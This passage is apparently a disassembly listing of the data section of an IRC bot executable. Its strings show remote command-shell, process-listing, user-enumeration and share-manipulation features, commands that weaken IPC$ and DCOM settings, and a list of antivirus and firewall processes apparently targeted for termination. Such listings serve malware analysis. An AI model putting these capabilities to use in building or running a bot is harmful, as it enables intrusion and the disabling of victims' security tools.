; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_43A234 dd 7530h ; DATA XREF: sub_419F4D+12r off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A340 dd offset dword_43A334 dd offset dword_43A328 dd offset dword_43A31C dd offset dword_43A310 dd offset dword_43A304 dd offset dword_43A2F4 dd offset dword_43A2E8 dd offset dword_43A2DC dd offset dword_43A2D0 dd offset dword_43A2C4 dd offset dword_43A2B4 dd offset dword_43A2A8 dd offset dword_43A298 dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; .packed:0043A294o dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:0043A290o dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: .packed:0043A28Co dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: .packed:0043A288o dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:0043A284o dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:0043A280o dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:0043A27Co dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: .packed:0043A278o dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: .packed:0043A274o dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: .packed:0043A270o dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: .packed:0043A26Co dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: .packed:0043A268o dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: .packed:0043A264o dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: .packed:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .packed:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .packed:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .packed:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .packed:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .packed:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .packed:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .packed:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .packed:off_43A238o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A578 align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset dword_43A570 dd offset dword_43A56C dd offset dword_43A568 dword_43A568 dd 5C3A44h ; DATA XREF: sub_41A3C6+217o ; .packed:0043A564o dword_43A56C dd 2444h ; DATA XREF: .packed:0043A560o dword_43A570 dd 5C3A43h ; DATA XREF: .packed:0043A55Co dword_43A574 dd 2443h ; DATA XREF: .packed:off_43A558o dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: .packed:0043A550o dword_43A580 dd 24435049h, 0 ; DATA XREF: .packed:off_43A548o dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: .packed:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: .packed:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: .packed:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: .packed:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: .packed:0041B6BFo dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: .packed:0041B6ADo dword_43AE00 dd 71C92A27h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE1C dd offset sub_41D124 ; DATA XREF: sub_41C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .packed:0043AE58o ; .packed:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r ; .packed:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: sub_4234F7+58r ; sub_425C06+C8r dword_43D4C4 dd 7 ; DATA XREF: sub_4234F7+5Er ; sub_425C06+CDr dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4CC dd 8Ch ; DATA XREF: sub_4234F7+82r ; sub_4234F7+8Fw ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 